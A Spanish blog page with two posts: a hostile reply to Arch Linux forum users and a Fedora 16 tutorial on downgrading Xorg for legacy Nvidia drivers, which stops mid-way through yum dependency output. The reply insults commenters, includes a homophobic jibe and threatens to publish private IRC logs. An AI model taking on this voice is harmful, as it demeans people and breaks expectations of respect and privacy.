2 feb 2012

Foro Archlinux-es, comenta sobre mi Blog, acá les respondo | http://www.foros.archlinux-es.org/viewtopic.php?f=12&t=5592

Mirando el tráfico del blog, o sea, las entradas diarias, vi que una fuente de tráfico muy fuerte era de una URL, mas directamente el foro de ArchLinux en español, y este hilo:

http://www.foros.archlinux-es.org/viewtopic.php?f=12&t=5592

Abro esta entrada, para responder a los muchachos que tan bien hablaron de mi en el foro [sarcasmo = 1]

Primero que nada, todo lo que dicen en su foro, podrian decirlo en los comment de Blogger, para eso están, asi al menos podría responder y habria mas feedback, pero parece que no tienen interés en ello, dado que saben de entrada, que no tienen con que coño refutar.
Primero que nada, a Saito. Si buscás información sobre Allan MacRae, no leiste nada errado, un tipo que pide 1000 USD al día por implementar GPG en pacman, además de comentar en una entrevista hace un par de años, que el que use ArchLinux en servidores sin GPG y no sea conciente de ello no merece vivir, no es un tipo o developer que merezca mi respeto, mucho menos una persona que cierra bug report de forma compulsiva, por no poder dar una respuesta, o por no reconocer un error, el mismo error que negaba en el bug report, cerrandolo con "works for me", o "not a bug", en una charla con Dan, le comentaba que no podia compilar con GCC 4.6 por el mismo problema, pero claro, el no pensó que yo lo veria, y la charla era de tan solo 4 días anteriores.
Ahora bien, uno por uno los voy a atender, asi que no desesperen:

Alfplayer:


saito escribió:pienso que es ahi cuando no progresamos como una comunidad de GNU/Linux

Revisé el material y comparto esta opinión.


Mirá, la verdad, no apunto a criticar a la comunidad, sino a mejorar, cuando usé Arch, traté de mejorar las cosas, reportar para ayudar, proponer y colaborar, incluso ayudé a ANGVP a cerrar bugs, como comentarle cosas que podrian mejorarse. Mi opinion es sobre Arch, no sobre GNU/Linux. Vos, que hiciste por ArchLinux?

Saito:

Notapor saito » 22 Ene 2012, 23:57
Razon tiene el moderador en decir que:
Aviso previamente, porque tengo claro que esos blogs son como un "aji en el culo" para algunos


Estas son la clase de personas que no viven en paz y no dejan vivir en paz, pero no por eso nos vamos a poner un poco alterados y empezar a bociferar horrores sobre una persona que a lo mejor sabe poco o nada sobre ArchLinux, lo que si es que al menos a mi me es un poco ofensivo mas que nada por que comenzamos a hacernos fanboys de una distro x y no de GNU/Linux como tal pero bueno creo que es mejor que chico viva en su mundo pequeño

A ver don saito. Vivo en paz, y dejo vivir, y eso de "no vamos a", acaso no abriste un hilo en el foro solo por mi?, no tenés coherencia en lo que decís con lo que haces, ergo, sos un pelotudo de entrada.
Se bastante sobre Arch, asi como de Fedora, RHEL, Gentoo, Slackware y otras, creo que mas que vos, sintiendome apto para decir lo que digo, y me hago cargo, dudas, ya saben, revisen los bug report, y no me hagan publicar log de IRC con un dev de Arch, en privado claro.
Yo no soy fanboy de nada, a ver si te aclara algo, uso lo que me sirve y me gusta, ya pasé la etapa de fanboy, vos parece que no.

Abel:

por abel » 23 Ene 2012, 01:14
Cada uno tendra sus razones del por que usan y se quedaron con Arch, tipos como esos son los que hay que mantener ignorados, no por lo que dice, si no por la manera en que lo dice y seguira diciendo entre mas le respondan. Es una lastima que no pueda ser del todo una comunidad unida en la que al menos pueda haber respeto.

Saludos.

Claro que si, tengo mis razones, lee los post y las vas a saber. Digo las cosas como las digo, a veces cae mal, a veces bien, no tengo filtro ni me interesa tenerlos, asi soy yo, si te joden las formas, la proxima lo digo de manera elegante, creo que es un concepto bastante pelotudo, pero te puedo endulzar el oido, o quiza algo mas, sos gay acaso?.
Comunidad, claro que si, pero los hechos reales, son reales.

Josejuan:

por josejuan » 23 Ene 2012, 05:43
tipos como esos son los que hay que mantener ignorados, no por lo que dice, si no por la manera en que lo dice


100% contigo y, además, hay cosas que dice que no tienen ni pies ni cabeza.

Lo dicho. Ni caso.

Que cosas?, no podés enumerarlas porque no tenes fundamentos, si los tenés, decilos.

Yonohesido:

por Yonohesido » 23 Ene 2012, 09:48
Pues yo pienso que todas las consideraciones tienen que ser tenidas en cuenta, al menos en principio y hasta ver si son reales o no.
He leído los artículos enlazados y la verdad es que conocimientos técnicos y de inglés, no dan como para poder juzgar lo que dice.
Personalmente prefiero que, los que entienden algo de estos temas, rebatan esas acusaciones con sus argumentos y esto no se quede en una simple desaprobación hacia el blog o su autor.

Yo sólo sé que estoy muy a gusto en Arch y que nunca he tenido problemas, a no ser pequeños fallos que la mayoría de las veces, por no decir todas, son culpa mía.

Bueno, que decir, el comentario mas razonable de todos. No soy bueno con inglés, pero lo mismo que se puede ver en los bug report, fue charlado con ANGVP, que es venezolano, y me dio la razón, asi que mas alla de mi capacidad para el inglés, el error existia y era real, como tambien negado raudamente.Yo me senti mas que a gusto con Arch mientras lo usé, hasta que comence a ver esas cositas, que te hacen la vida imposible, pasaba mas tiempo reportando, en el IRC, mirando las news que usando el sistema en si, la verdad, para que encima te digan que "not a bug" o "works for me", ni ganas, eso es sentir que gastás polvora en chimango.

Madek:

por madek » 23 Ene 2012, 17:03
FedeTheGreat escribió:Ademas como dijo un sr una ves, no estoy de acuerdo con lo que pensas pero daria mi vida para que puedas decirlo.

eso me suena a frase de liberacion de dictadura :mrgreen: 

sobre los articulos en cuestion, para mi no da para tema, seria como discutir sobre colores con un daltonico, ergo, discusion inutil

Vi tu comentario, el cual eliminé, dado que para trollear esta el IRC y los foros, no mi blog.
Tu analogía con el daltonismo es poco afortunada, porque tengo mas razón de la que pensás, cuando quieras lo charlamos, si es que estás a la altura claro.

Bueno, creo que es todo, para el resto de los foristas de ArchLinux-es, cuando tengan algo que decirme, en IRC por favor, o bien en memo o por mail, o en comment, no se escondan en un foro, es una actitud muy fea.

Saludos, sigan con Garchilinux, que yo sigo con RHEL, Fedora y Gentoo.

PD: Ese comentario de si era de muylinux o etc, les comento que lo que publicaron en muylinux sobre las GPG de pacman, era de LWN.net, y una realidad, mas allá de todo, asi que miren bien antes de decir pelotudeces. Es el ultimo post que ocupo en mi blog con esta basofia de distro, he dicho. Vayan a tomar la cindor pebetes, que les falta crecer mucho

Ah!, me olvidaba, si todo lo que digo no tiene fundamento, si realmente existe un QA serio entre testing => stable y bla bla, respondanme, tan capaces que son los de Archlinux-es, porque la imagen que dejo a continuación, es del 2 de Febrero de 2012, y esta plagada de Bugs críticos, en componentes realmente criticos, y es la primer pagina de 37!.... no me lean a mi, miren la imagen a continuación. Y notese, que son de Core y Extra, pero casi todos de Core, y la rama stable, que me dicen?


Click en la imagen para ampliar





How To Nvidia legacy Fedora 16 - Xorg 1.11 [SOLVED]

Me enteré los otros días, que en Fedora 16, están teniendo problemas con las placas algo viejitas de Nvidia, dado que el driver kmod o akmod, no inician las X, incluso los legacy 173.x.
Me puse a leer un poco y es un problema de Nvidia basicamente.
El tema es que Nvidia, no actualizó los driver ni binarios ni nada, para la nueva version de Xorg 1.11, donde los viejos driver, no funcionan, si los nuevos, asi que por lo que vi, no queda más que usar Nouveau, con lo que ello representa, o sea, no tener aceleracion 3D en muchos casos, o tenerla pero con un bajo rendimiento.
La pregunta es, solución?, si, la hay, pero no es para gente que se vaya a asustar o inexpertos que no lean bien, asi que ya saben, si rompen algo, es porque no leyeron bien o no saben que es un terminal o un tty.
Primero que nada, aclaro que el comando yum downgrade xorg no sirve, dado que baja de la 1.11.3 a la 1.11.1 de Xorg, nosotros buscamos la 1.10.x, que es donde aun funcionaban los binarios de Nvidia.
Para ello, debemos de eliminar Xorg y sus dependencias e instalar a mano, el Xorg mas viejo, que no tiene conflicto alguno.
Primero que nada, bajamos los RPM desde Koji, el Buildsystem de Fedora, los paquetes a bajar son:

Para 32 bit:

http://kojipkgs.fedoraproject.org/packages/xorg-x11-server/1.10.4/1.fc15/i686/xorg-x11-server-Xdmx-1.10.4-1.fc15.i686.rpm
http://kojipkgs.fedoraproject.org/packages/xorg-x11-server/1.10.4/1.fc15/i686/xorg-x11-server-Xephyr-1.10.4-1.fc15.i686.rpm
http://kojipkgs.fedoraproject.org/packages/xorg-x11-server/1.10.4/1.fc15/i686/xorg-x11-server-Xnest-1.10.4-1.fc15.i686.rpm
http://kojipkgs.fedoraproject.org/packages/xorg-x11-server/1.10.4/1.fc15/i686/xorg-x11-server-Xorg-1.10.4-1.fc15.i686.rpm
http://kojipkgs.fedoraproject.org/packages/xorg-x11-server/1.10.4/1.fc15/i686/xorg-x11-server-Xvfb-1.10.4-1.fc15.i686.rpm
http://kojipkgs.fedoraproject.org/packages/xorg-x11-server/1.10.4/1.fc15/i686/xorg-x11-server-common-1.10.4-1.fc15.i686.rpm
http://kojipkgs.fedoraproject.org/packages/xorg-x11-server/1.10.4/1.fc15/i686/xorg-x11-server-devel-1.10.4-1.fc15.i686.rpm
http://kojipkgs.fedoraproject.org/packages/xorg-x11-server/1.10.4/1.fc15/i686/xorg-x11-server-debuginfo-1.10.4-1.fc15.i686.rpm
http://kojipkgs.fedoraproject.org/packages/xorg-x11-drv-keyboard/1.5.0/4.20101201.fc15/i686/xorg-x11-drv-keyboard-1.5.0-4.20101201.fc15.i686.rpm
http://kojipkgs.fedoraproject.org/packages/xorg-x11-drv-keyboard/1.5.0/4.20101201.fc15/i686/xorg-x11-drv-keyboard-debuginfo-1.5.0-4.20101201.fc15.i686.rpm
http://kojipkgs.fedoraproject.org/packages/xorg-x11-drv-v4l/0.2.0/10.fc15/i686/xorg-x11-drv-v4l-0.2.0-10.fc15.i686.rpm
http://kojipkgs.fedoraproject.org/packages/xorg-x11-drv-v4l/0.2.0/10.fc15/i686/xorg-x11-drv-v4l-debuginfo-0.2.0-10.fc15.i686.rpm
http://kojipkgs.fedoraproject.org/packages/xorg-x11-drv-mouse/1.6.99.901/2.fc15/i686/xorg-x11-drv-mouse-1.6.99.901-2.fc15.i686.rpm
http://kojipkgs.fedoraproject.org/packages/xorg-x11-drv-mouse/1.6.99.901/2.fc15/i686/xorg-x11-drv-mouse-debuginfo-1.6.99.901-2.fc15.i686.rpm
http://kojipkgs.fedoraproject.org/packages/xorg-x11-drv-dummy/0.3.4/5.fc15/i686/xorg-x11-drv-dummy-0.3.4-5.fc15.i686.rpm
http://kojipkgs.fedoraproject.org/packages/xorg-x11-drv-dummy/0.3.4/5.fc15/i686/xorg-x11-drv-dummy-debuginfo-0.3.4-5.fc15.i686.rpm


Para 64 bit:

http://kojipkgs.fedoraproject.org/packages/xorg-x11-server/1.10.4/1.fc15/x86_64/xorg-x11-server-Xdmx-1.10.4-1.fc15.x86_64.rpm
http://kojipkgs.fedoraproject.org/packages/xorg-x11-server/1.10.4/1.fc15/x86_64/xorg-x11-server-Xephyr-1.10.4-1.fc15.x86_64.rpm
http://kojipkgs.fedoraproject.org/packages/xorg-x11-server/1.10.4/1.fc15/x86_64/xorg-x11-server-Xnest-1.10.4-1.fc15.x86_64.rpm
http://kojipkgs.fedoraproject.org/packages/xorg-x11-server/1.10.4/1.fc15/x86_64/xorg-x11-server-Xorg-1.10.4-1.fc15.x86_64.rpm
http://kojipkgs.fedoraproject.org/packages/xorg-x11-server/1.10.4/1.fc15/x86_64/xorg-x11-server-Xvfb-1.10.4-1.fc15.x86_64.rpm
http://kojipkgs.fedoraproject.org/packages/xorg-x11-server/1.10.4/1.fc15/x86_64/xorg-x11-server-common-1.10.4-1.fc15.x86_64.rpm
http://kojipkgs.fedoraproject.org/packages/xorg-x11-server/1.10.4/1.fc15/x86_64/xorg-x11-server-devel-1.10.4-1.fc15.x86_64.rpm
http://kojipkgs.fedoraproject.org/packages/xorg-x11-server/1.10.4/1.fc15/x86_64/xorg-x11-server-debuginfo-1.10.4-1.fc15.x86_64.rpm
http://kojipkgs.fedoraproject.org/packages/xorg-x11-drv-keyboard/1.5.0/4.20101201.fc15/x86_64/xorg-x11-drv-keyboard-1.5.0-4.20101201.fc15.x86_64.rpm
http://kojipkgs.fedoraproject.org/packages/xorg-x11-drv-keyboard/1.5.0/4.20101201.fc15/x86_64/xorg-x11-drv-keyboard-debuginfo-1.5.0-4.20101201.fc15.x86_64.rpm
http://kojipkgs.fedoraproject.org/packages/xorg-x11-drv-v4l/0.2.0/10.fc15/x86_64/xorg-x11-drv-v4l-0.2.0-10.fc15.x86_64.rpm
http://kojipkgs.fedoraproject.org/packages/xorg-x11-drv-v4l/0.2.0/10.fc15/x86_64/xorg-x11-drv-v4l-debuginfo-0.2.0-10.fc15.x86_64.rpm
http://kojipkgs.fedoraproject.org/packages/xorg-x11-drv-mouse/1.6.99.901/2.fc15/x86_64/xorg-x11-drv-mouse-1.6.99.901-2.fc15.x86_64.rpm
http://kojipkgs.fedoraproject.org/packages/xorg-x11-drv-mouse/1.6.99.901/2.fc15/x86_64/xorg-x11-drv-mouse-debuginfo-1.6.99.901-2.fc15.x86_64.rpm
http://kojipkgs.fedoraproject.org/packages/xorg-x11-drv-dummy/0.3.4/5.fc15/x86_64/xorg-x11-drv-dummy-0.3.4-5.fc15.x86_64.rpm
http://kojipkgs.fedoraproject.org/packages/xorg-x11-drv-dummy/0.3.4/5.fc15/x86_64/xorg-x11-drv-dummy-debuginfo-0.3.4-5.fc15.x86_64.rpm

Y el ultimo, noarch (o sea, va para todos en común)

http://kojipkgs.fedoraproject.org/packages/xorg-x11-server/1.10.4/1.fc15/noarch/xorg-x11-server-source-1.10.4-1.fc15.noarch.rpm

Una vez que bajaron todo eso, por ej a /root/xorg_legacy/, se disponen a reiniciar el sistema e iniciar en runlevel 3, o sea, sin X. Como?, facil, reinician, en el menu de GRUB, ponen editar, y en la ultima linea del kernel, colocan un 3, con eso le indican que inicie en runlevel 3, que es con red pero sin grafica.
Luego de ello, se loguean en una tty, que para el que no lo sabe, es una terminal no grafica, ingresan como root, y proceden a hacer esto:

yum remove xorg-x11-server-Xorg

Eso les va a dar una salida como esta:


Complementos cargados:changelog, langpacks, presto, refresh-packagekit, remove-with-leaves, show-leaves
Configurando el proceso de eliminación
Resolviendo dependencias
--> Ejecutando prueba de transacción
---> Paquete xorg-x11-server-Xorg.x86_64 0:1.11.3-1.fc16 debe ser eliminado
--> Procesando dependencias: Xorg para el paquete: xorg-x11-drv-qxl-0.0.21-8.fc16.x86_64
--> Procesando dependencias: Xorg para el paquete: xorg-x11-drv-rendition-4.2.4-7.fc16.x86_64
--> Procesando dependencias: Xorg para el paquete: xorg-x11-drv-glint-1.2.5-2.fc16.x86_64
--> Procesando dependencias: Xorg para el paquete: xorg-x11-drv-siliconmotion-1.7.5-2.fc16.x86_64
--> Procesando dependencias: Xorg para el paquete: xorg-x11-drv-vmmouse-12.7.0-2.fc16.x86_64
--> Procesando dependencias: Xorg para el paquete: xorg-x11-drv-dummy-0.3.4-7.fc16.x86_64
--> Procesando dependencias: Xorg para el paquete: xorg-x11-drv-wacom-0.12.0-1.fc16.x86_64
--> Procesando dependencias: Xorg para el paquete: xorg-x11-drv-savage-2.3.3-1.fc16.x86_64
--> Procesando dependencias: Xorg para el paquete: xorg-x11-drv-sisusb-0.9.4-7.fc16.x86_64
--> Procesando dependencias: Xorg para el paquete: xorg-x11-drv-i128-1.3.4-9.fc16.x86_64
--> Procesando dependencias: Xorg para el paquete: xorg-x11-drv-nv-2.1.18-8.fc16.x86_64
--> Procesando dependencias: Xorg para el paquete: xorg-x11-drv-s3virge-1.10.4-9.fc16.x86_64
--> Procesando dependencias: Xorg para el paquete: xorg-x11-drv-r128-6.8.1-11.fc16.x86_64
--> Procesando dependencias: Xorg para el paquete: xorg-x11-drv-tdfx-1.4.3-9.fc16.x86_64
--> Procesando dependencias: Xorg para el paquete: xorg-x11-drv-voodoo-1.2.4-7.fc16.x86_64
--> Procesando dependencias: Xorg para el paquete: xorg-x11-drv-sis-0.10.3-7.fc16.x86_64
--> Procesando dependencias: Xorg para el paquete: xorg-x11-drv-vmware-11.0.3-6.fc16.x86_64
--> Procesando dependencias: Xorg para el paquete: xorg-x11-drv-evdev-2.6.99-3.20110601giteaf202531.fc16.x86_64
--> Procesando dependencias: Xorg para el paquete: xorg-x11-drv-synaptics-1.5.0-2.fc16.x86_64
--> Procesando dependencias: Xorg para el paquete: xorg-x11-drv-trident-1.3.4-7.fc16.x86_64
--> Procesando dependencias: Xorg para el paquete: xorg-x11-drv-fpit-1.4.0-2.fc16.x86_64
--> Procesando dependencias: Xorg para el paquete: xorg-x11-drv-mouse-1.7.1-2.fc16.x86_64
--> Procesando dependencias: Xorg para el paquete: xorg-x11-drv-elographics-1.3.0-2.fc16.x86_64
--> Procesando dependencias: Xorg para el paquete: xorg-x11-drv-apm-1.2.3-8.fc16.x86_64
--> Procesando dependencias: Xorg para el paquete: xorg-x11-drv-mutouch-1.3.0-2.fc16.x86_64
--> Procesando dependencias: Xorg para el paquete: xorg-x11-drv-hyperpen-1.4.1-2.fc16.x86_64
--> Procesando dependencias: Xorg para el paquete: xorg-x11-drv-v4l-0.2.0-14.fc16.x86_64
--> Procesando dependencias: Xorg para el paquete: xorg-x11-drv-ast-0.91.10-7.fc16.x86_64
--> Procesando dependencias: Xorg para el paquete: xorg-x11-drv-fbdev-0.4.2-2.fc16.x86_64
--> Procesando dependencias: Xorg para el paquete: xorg-x11-drv-ati-6.14.3-3.20111125git534fb6e41.fc16.x86_64
--> Procesando dependencias: Xorg para el paquete: xorg-x11-drv-aiptek-1.4.1-2.fc16.x86_64
--> Procesando dependencias: Xorg para el paquete: xorg-x11-drv-acecad-1.5.0-2.fc16.x86_64
--> Procesando dependencias: Xorg para el paquete: xorg-x11-drv-void-1.4.0-2.fc16.x86_64
--> Procesando dependencias: Xorg para el paquete: xorg-x11-drv-i740-1.3.2-9.fc16.x86_64
--> Procesando dependencias: Xorg para el paquete: xorg-x11-drv-vesa-2.3.0-9.fc16.x86_64
--> Procesando dependencias: Xorg para el paquete: xorg-x11-drv-intel-2.17.0-4.fc16.x86_64
--> Procesando dependencias: Xorg para el paquete: xorg-x11-drv-mach64-6.9.0-2.fc16.x86_64
--> Procesando dependencias: Xorg para el paquete: xorg-x11-drv-penmount-1.5.0-3.fc16.x86_64
--> Procesando dependencias: Xorg para el paquete: xorg-x11-drv-openchrome-0.2.904-16.fc16.x86_64
--> Procesando dependencias: Xorg para el paquete: xorg-x11-drv-cirrus-1.3.2-10.fc16.x86_64
--> Procesando dependencias: Xorg para el paquete: xorg-x11-drv-mga-1.4.13-8.fc16.x86_64
--> Procesando dependencias: Xorg para el paquete: xorg-x11-drv-keyboard-1.6.0-2.fc16.x86_64
--> Procesando dependencias: xserver-abi(ansic-0) >= 4 para el paquete: xorg-x11-drv-qxl-0.0.21-8.fc16.x86_64
--> Procesando dependencias: xserver-abi(ansic-0) >= 4 para el paquete: xorg-x11-drv-rendition-4.2.4-7.fc16.x86_64
--> Procesando dependencias: xserver-abi(ansic-0) >= 4 para el paquete: xorg-x11-drv-glint-1.2.5-2.fc16.x86_64
--> Procesando dependencias: xserver-abi(ansic-0) >= 4 para el paquete: xorg-x11-drv-siliconmotion-1.7.5-2.fc16.x86_64
--> Procesando dependencias: xserver-abi(ansic-0) >= 4 para el paquete: xorg-x11-drv-vmmouse-12.7.0-2.fc16.x86_64
--> Procesando dependencias: xserver-abi(ansic-0) >= 4 para el paquete: xorg-x11-drv-dummy-0.3.4-7.fc16.x86_64
--> Procesando dependencias: xserver-abi(ansic-0) >= 4 para el paquete: xorg-x11-drv-wacom-0.12.0-1.fc16.x86_64
--> Procesando dependencias: xserver-abi(ansic-0) >= 4 para el paquete: xorg-x11-drv-savage-2.3.3-1.fc16.x86_64
--> Procesando dependencias: xserver-abi(ansic-0) >= 4 para el paquete: xorg-x11-drv-sisusb-0.9.4-7.fc16.x86_64
--> Procesando dependencias: xserver-abi(ansic-0) >= 4 para el paquete: xorg-x11-drv-i128-1.3.4-9.fc16.x86_64
--> Procesando dependencias: xserver-abi(ansic-0) >= 4 para el paquete: xorg-x11-drv-nv-2.1.18-8.fc16.x86_64
--> Procesando dependencias: xserver-abi(ansic-0) >= 4 para el paquete: xorg-x11-drv-s3virge-1.10.4-9.fc16.x86_64
--> Procesando dependencias: xserver-abi(ansic-0) >= 4 para el paquete: xorg-x11-drv-r128-6.8.1-11.fc16.x86_64
--> Procesando dependencias: xserver-abi(ansic-0) >= 4 para el paquete: xorg-x11-drv-tdfx-1.4.3-9.fc16.x86_64
--> Procesando dependencias: xserver-abi(ansic-0) >= 4 para el paquete: xorg-x11-drv-voodoo-1.2.4-7.fc16.x86_64
--> Procesando dependencias: xserver-abi(ansic-0) >= 4 para el paquete: xorg-x11-drv-sis-0.10.3-7.fc16.x86_64
--> Procesando dependencias: xserver-abi(ansic-0) >= 4 para el paquete: xorg-x11-drv-vmware-11.0.3-6.fc16.x86_64
--> Procesando dependencias: xserver-abi(ansic-0) >= 4 para el paquete: xorg-x11-drv-evdev-2.6.99-3.20110601giteaf202531.fc16.x86_64
--> Procesando dependencias: xserver-abi(ansic-0) >= 4 para el paquete: xorg-x11-drv-synaptics-1.5.0-2.fc16.x86_64
--> Procesando dependencias: xserver-abi(ansic-0) >= 4 para el paquete: xorg-x11-drv-trident-1.3.4-7.fc16.x86_64
--> Procesando dependencias: xserver-abi(ansic-0) >= 4 para el paquete: xorg-x11-drv-fpit-1.4.0-2.fc16.x86_64
--> Procesando dependencias: xserver-abi(ansic-0) >= 4 para el paquete: xorg-x11-drv-mouse-1.7.1-2.fc16.x86_64
--> Procesando dependencias: xserver-abi(ansic-0) >= 4 para el paquete: xorg-x11-drv-elographics-1.3.0-2.fc16.x86_64
--> Procesando dependencias: xserver-abi(ansic-0) >= 4 para el paquete: xorg-x11-drv-apm-1.2.3-8.fc16.x86_64
--> Procesando dependencias: xserver-abi(ansic-0) >= 4 para el paquete: xorg-x11-drv-mutouch-1.3.0-2.fc16.x86_64
--> Procesando dependencias: xserver-abi(ansic-0) >= 4 para el paquete: xorg-x11-drv-hyperpen-1.4.1-2.fc16.x86_64
--> Procesando dependencias: xserver-abi(ansic-0) >= 4 para el paquete: xorg-x11-drv-v4l-0.2.0-14.fc16.x86_64
--> Procesando dependencias: xserver-abi(ansic-0) >= 4 para el paquete: xorg-x11-drv-ast-0.91.10-7.fc16.x86_64
--> Procesando dependencias: xserver-abi(ansic-0) >= 4 para el paquete: xorg-x11-drv-fbdev-0.4.2-2.fc16.x86_64
--> Procesando dependencias: xserver-abi(ansic-0) >= 4 para el paquete: xorg-x11-drv-ati-6.14.3-3.20111125git534fb6e41.fc16.x86_64
--> Procesando dependencias: xserver-abi(ansic-0) >= 4 para el paquete: xorg-x11-drv-aiptek-1.4.1-2.fc16.x86_64
--> Procesando dependencias: xserver-abi(ansic-0) >= 4 para el paquete: xorg-x11-drv-acecad-1.5.0-2.fc16.x86_64
--> Procesando dependencias: xserver-abi(ansic-0) >= 4 para el paquete: xorg-x11-drv-void-1.4.0-2.fc16.x86_64
--> Procesando dependencias: xserver-abi(ansic-0) >= 4 para el paquete: xorg-x11-drv-i740-1.3.2-9.fc16.x86_64
--> Procesando dependencias: xserver-abi(ansic-0) >= 4 para el paquete: xorg-x11-drv-vesa-2.3.0-9.fc16.x86_64
--> Procesando dependencias: xserver-abi(ansic-0) >= 4 para el paquete: xorg-x11-drv-intel-2.17.0-4.fc16.x86_64
--> Procesando dependencias: xserver-abi(ansic-0) >= 4 para el paquete: xorg-x11-drv-mach64-6.9.0-2.fc16.x86_64
--> Procesando dependencias: xserver-abi(ansic-0) >= 4 para el paquete: xorg-x11-drv-penmount-1.5.0-3.fc16.x86_64
--> Procesando dependencias: xserver-abi(ansic-0) >= 4 para el paquete: xorg-x11-drv-openchrome-0.2.904-16.fc16.x86_64
--> Procesando dependencias: xserver-abi(ansic-0) >= 4 para el paquete: xorg-x11-drv-cirrus-1.3.2-10.fc16.x86_64
--> Procesando dependencias: xserver-abi(ansic-0) >= 4 para el paquete: xorg-x11-drv-mga-1.4.13-8.fc16.x86_64
--> Procesando dependencias: xserver-abi(ansic-0) >= 4 para el paquete: xorg-x11-drv-keyboard-1.6.0-2.fc16.x86_64
--> Procesando dependencias: xserver-abi(videodrv-11) >= 0 para el paquete: xorg-x11-drv-rendition-4.2.4-7.fc16.x86_64
--> Procesando dependencias: xserver-abi(videodrv-11) >= 0 para el paquete: xorg-x11-drv-glint-1.2.5-2.fc16.x86_64
--> Procesando dependencias: xserver-abi(videodrv-11) >= 0 para el paquete: xorg-x11-drv-qxl-0.0.21-8.fc16.x86_64
--> Procesando dependencias: xserver-abi(videodrv-11) >= 0 para el paquete: xorg-x11-drv-savage-2.3.3-1.fc16.x86_64
--> Procesando dependencias: xserver-abi(videodrv-11) >= 0 para el paquete: xorg-x11-drv-sisusb-0.9.4-7.fc16.x86_64
--> Procesando dependencias: xserver-abi(videodrv-11) >= 0 para el paquete: xorg-x11-drv-i128-1.3.4-9.fc16.x86_64
--> Procesando dependencias: xserver-abi(videodrv-11) >= 0 para el paquete: xorg-x11-drv-nv-2.1.18-8.fc16.x86_64
--> Procesando dependencias: xserver-abi(videodrv-11) >= 0 para el paquete: xorg-x11-drv-s3virge-1.10.4-9.fc16.x86_64
--> Procesando dependencias: xserver-abi(videodrv-11) >= 0 para el paquete: xorg-x11-drv-r128-6.8.1-11.fc16.x86_64
--> Procesando dependencias: xserver-abi(videodrv-11) >= 0 para el paquete: xorg-x11-drv-tdfx-1.4.3-9.fc16.x86_64
--> Procesando dependencias: xserver-abi(videodrv-11) >= 0 para el paquete: xorg-x11-drv-voodoo-1.2.4-7.fc16.x86_64
--> Procesando dependencias: xserver-abi(videodrv-11) >= 0 para el paquete: xorg-x11-drv-sis-0.10.3-7.fc16.x86_64
--> Procesando dependencias: xserver-abi(videodrv-11) >= 0 para el paquete: xorg-x11-drv-vmware-11.0.3-6.fc16.x86_64
--> Procesando dependencias: xserver-abi(videodrv-11) >= 0 para el paquete: xorg-x11-drv-siliconmotion-1.7.5-2.fc16.x86_64
--> Procesando dependencias: xserver-abi(videodrv-11) >= 0 para el paquete: xorg-x11-drv-trident-1.3.4-7.fc16.x86_64
--> Procesando dependencias: xserver-abi(videodrv-11) >= 0 para el paquete: xorg-x11-drv-dummy-0.3.4-7.fc16.x86_64
--> Procesando dependencias: xserver-abi(videodrv-11) >= 0 para el paquete: xorg-x11-drv-apm-1.2.3-8.fc16.x86_64
--> Procesando dependencias: xserver-abi(videodrv-11) >= 0 para el paquete: xorg-x11-drv-v4l-0.2.0-14.fc16.x86_64
--> Procesando dependencias: xserver-abi(videodrv-11) >= 0 para el paquete: xorg-x11-drv-ast-0.91.10-7.fc16.x86_64
--> Procesando dependencias: xserver-abi(videodrv-11) >= 0 para el paquete: xorg-x11-drv-fbdev-0.4.2-2.fc16.x86_64
--> Procesando dependencias: xserver-abi(videodrv-11) >= 0 para el paquete: xorg-x11-drv-ati-6.14.3-3.20111125git534fb6e41.fc16.x86_64
--> Procesando dependencias: xserver-abi(videodrv-11) >= 0 para el paquete: xorg-x11-drv-i740-1.3.2-9.fc16.x86_64
--> Procesando dependencias: xserver-abi(videodrv-11) >= 0 para el paquete: xorg-x11-drv-vesa-2.3.0-9.fc16.x86_64
--> Procesando dependencias: xserver-abi(videodrv-11) >= 0 para el paquete: xorg-x11-drv-intel-2.17.0-4.fc16.x86_64
--> Procesando dependencias: xserver-abi(videodrv-11) >= 0 para el paquete: xorg-x11-drv-mach64-6.9.0-2.fc16.x86_64
--> Procesando dependencias: xserver-abi(videodrv-11) >= 0 para el paquete: xorg-x11-drv-openchrome-0.2.904-16.fc16.x86_64
--> Procesando dependencias: xserver-abi(videodrv-11) >= 0 para el paquete: xorg-x11-drv-cirrus-1.3.2-10.fc16.x86_64
--> Procesando dependencias: xserver-abi(videodrv-11) >= 0 para el paquete: xorg-x11-drv-mga-1.4.13-8.fc16.x86_64
--> Procesando dependencias: xserver-abi(xinput-13) >= 0 para el paquete: xorg-x11-drv-aiptek-1.4.1-2.fc16.x86_64
--> Procesando dependencias: xserver-abi(xinput-13) >= 0 para el paquete: xorg-x11-drv-synaptics-1.5.0-2.fc16.x86_64
--> Procesando dependencias: xserver-abi(xinput-13) >= 0 para el paquete: xorg-x11-drv-fpit-1.4.0-2.fc16.x86_64
--> Procesando dependencias: xserver-abi(xinput-13) >= 0 para el paquete: xorg-x11-drv-mouse-1.7.1-2.fc16.x86_64
--> Procesando dependencias: xserver-abi(xinput-13) >= 0 para el paquete: xorg-x11-drv-vmmouse-12.7.0-2.fc16.x86_64
--> Procesando dependencias: xserver-abi(xinput-13) >= 0 para el paquete: xorg-x11-drv-elographics-1.3.0-2.fc16.x86_64
--> Procesando dependencias: xserver-abi(xinput-13) >= 0 para el paquete: xorg-x11-drv-void-1.4.0-2.fc16.x86_64
--> Procesando dependencias: xserver-abi(xinput-13) >= 0 para el paquete: xorg-x11-drv-penmount-1.5.0-3.fc16.x86_64
--> Procesando dependencias: xserver-abi(xinput-13) >= 0 para el paquete: xorg-x11-drv-keyboard-1.6.0-2.fc16.x86_64
--> Procesando dependencias: xserver-abi(xinput-13) >= 0 para el paquete: xorg-x11-drv-mutouch-1.3.0-2.fc16.x86_64
--> Procesando dependencias: xserver-abi(xinput-13) >= 0 para el paquete: xorg-x11-drv-hyperpen-1.4.1-2.fc16.x86_64
--> Procesando dependencias: xserver-abi(xinput-13) >= 0 para el paquete: xorg-x11-drv-wacom-0.12.0-1.fc16.x86_64
--> Procesando dependencias: xserver-abi(xinput-13) >= 0 para el paquete: xorg-x11-drv-evdev-2.6.99-3.20110601giteaf202531.fc16.x86_64
--> Procesando dependencias: xserver-abi(xinput-13) >= 0 para el paquete: xorg-x11-drv-acecad-1.5.0-2.fc16.x86_64
--> Procesando dependencias: xorg-x11-server-Xorg >= 1.7.99 para el paquete: system-setup-keyboard-0.8.8-1.fc16.x86_64
--> Ejecutando prueba de transacción
---> Paquete system-setup-keyboard.x86_64 0:0.8.8-1.fc16 debe ser eliminado
---> Paquete xorg-x11-drv-acecad.x86_64 0:1.5.0-2.fc16 debe ser eliminado
